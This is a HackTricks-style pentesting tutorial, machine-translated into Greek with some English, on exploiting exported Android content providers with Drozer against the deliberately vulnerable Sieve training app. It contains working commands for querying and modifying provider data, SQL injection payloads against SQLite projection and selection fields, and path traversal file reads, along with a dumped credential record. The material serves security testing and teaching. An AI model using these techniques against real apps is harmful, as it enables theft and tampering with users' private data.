185 lines
10 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Εκμετάλλευση Παρόχων Περιεχομένου
## Εκμετάλλευση Παρόχων Περιεχομένου
{{#include ../../../banners/hacktricks-training.md}}
## Εισαγωγή
Δεδομένα **παρέχονται από μια εφαρμογή σε άλλες** κατόπιν αιτήματος από ένα συστατικό που ονομάζεται **παροχέας περιεχομένου**. Αυτές οι αιτήσεις διαχειρίζονται μέσω των μεθόδων της **κλάσης ContentResolver**. Οι πάροχοι περιεχομένου μπορούν να αποθηκεύουν τα δεδομένα τους σε διάφορες τοποθεσίες, όπως μια **βάση δεδομένων**, **αρχεία** ή μέσω ενός **δικτύου**.
Στο αρχείο _Manifest.xml_, η δήλωση του παρόχου περιεχομένου είναι απαραίτητη. Για παράδειγμα:
```xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```
Για να αποκτήσετε πρόσβαση στο `content://com.mwr.example.sieve.DBContentProvider/Keys`, είναι απαραίτητη η άδεια `READ_KEYS`. Είναι ενδιαφέρον να σημειωθεί ότι η διαδρομή `/Keys/` είναι προσβάσιμη στην παρακάτω ενότητα, η οποία δεν είναι προστατευμένη λόγω ενός λάθους του προγραμματιστή, ο οποίος εξασφάλισε το `/Keys` αλλά δήλωσε το `/Keys/`.
**Ίσως μπορείτε να αποκτήσετε πρόσβαση σε ιδιωτικά δεδομένα ή να εκμεταλλευτείτε κάποια ευπάθεια (SQL Injection ή Path Traversal).**
## Λάβετε πληροφορίες από **εκτεθειμένους παρόχους περιεχομένου**
```
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
Είναι δυνατόν να συνθέσουμε πώς να φτάσουμε στον **DBContentProvider** ξεκινώντας τα URIs με “_content://_”. Αυτή η προσέγγιση βασίζεται σε πληροφορίες που αποκτήθηκαν από τη χρήση του Drozer, όπου κρίσιμες πληροφορίες βρίσκονταν στον _/Keys_ φάκελο.
Ο Drozer μπορεί να **μαντέψει και να δοκιμάσει αρκετά URIs**:
```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
Πρέπει επίσης να ελέγξετε τον **κώδικα ContentProvider** για να αναζητήσετε ερωτήματα:
![](<../../../images/image (121) (1) (1) (1).png>)
Επίσης, αν δεν μπορείτε να βρείτε πλήρη ερωτήματα, μπορείτε να **ελέγξετε ποια ονόματα δηλώνονται από τον ContentProvider** στη μέθοδο `onCreate`:
![](<../../../images/image (564).png>)
Το ερώτημα θα είναι όπως: `content://name.of.package.class/declared_name`
## **Content Providers με υποστήριξη βάσης δεδομένων**
Πιθανώς οι περισσότεροι από τους Content Providers χρησιμοποιούνται ως **διεπαφή** για μια **βάση δεδομένων**. Επομένως, αν μπορείτε να έχετε πρόσβαση σε αυτήν, θα μπορούσατε να **εξάγετε, ενημερώσετε, εισάγετε και διαγράψετε** πληροφορίες.\
Ελέγξτε αν μπορείτε να **έχετε πρόσβαση σε ευαίσθητες πληροφορίες** ή προσπαθήστε να τις αλλάξετε για να **παρακάμψετε μηχανισμούς εξουσιοδότησης**.
Όταν ελέγχετε τον κώδικα του Content Provider, **κοιτάξτε** επίσης για **συναρτήσεις** που ονομάζονται όπως: _query, insert, update και delete_:
![](<../../../images/image (887).png>)
![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
Διότι θα μπορείτε να τις καλέσετε
### Ερώτημα περιεχομένου
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
### Εισαγωγή περιεχομένου
Quering the database you will learn the **όνομα των στηλών**, then, you could be able to insert data in the DB:
![](<../../../images/image (98).png>)
![](<../../../images/image (173).png>)
_Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_
### Ενημέρωση περιεχομένου
Knowing the name of the columns you could also **τροποποιήσετε τις καταχωρίσεις**:
![](<../../../images/image (780).png>)
### Διαγραφή περιεχομένου
![](<../../../images/image (423).png>)
### **SQL Injection**
It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_:
![](<../../../images/image (784).png>)
You can try to **abuse** this **parameters** to test for **SQL injections**:
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
**Αυτόματη ανακάλυψη SQLInjection από το Drozer**
```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
```
## **Προμηθευτές Περιεχομένου με Υποστήριξη Συστήματος Αρχείων**
Οι προμηθευτές περιεχομένου μπορούν επίσης να χρησιμοποιηθούν για **πρόσβαση σε αρχεία:**
![](<../../../images/image (407).png>)
### Ανάγνωση **αρχείου**
Μπορείτε να διαβάσετε αρχεία από τον Προμηθευτή Περιεχομένου
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
### **Path Traversal**
Αν μπορείτε να έχετε πρόσβαση σε αρχεία, μπορείτε να προσπαθήσετε να εκμεταλλευτείτε ένα Path Traversal (σε αυτή την περίπτωση αυτό δεν είναι απαραίτητο αλλά μπορείτε να προσπαθήσετε να χρησιμοποιήσετε "_../_" και παρόμοια κόλπα).
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
**Αυτόματη ανακάλυψη διαδρομών Traversal από το Drozer**
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```
## Αναφορές
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
{{#include ../../../banners/hacktricks-training.md}}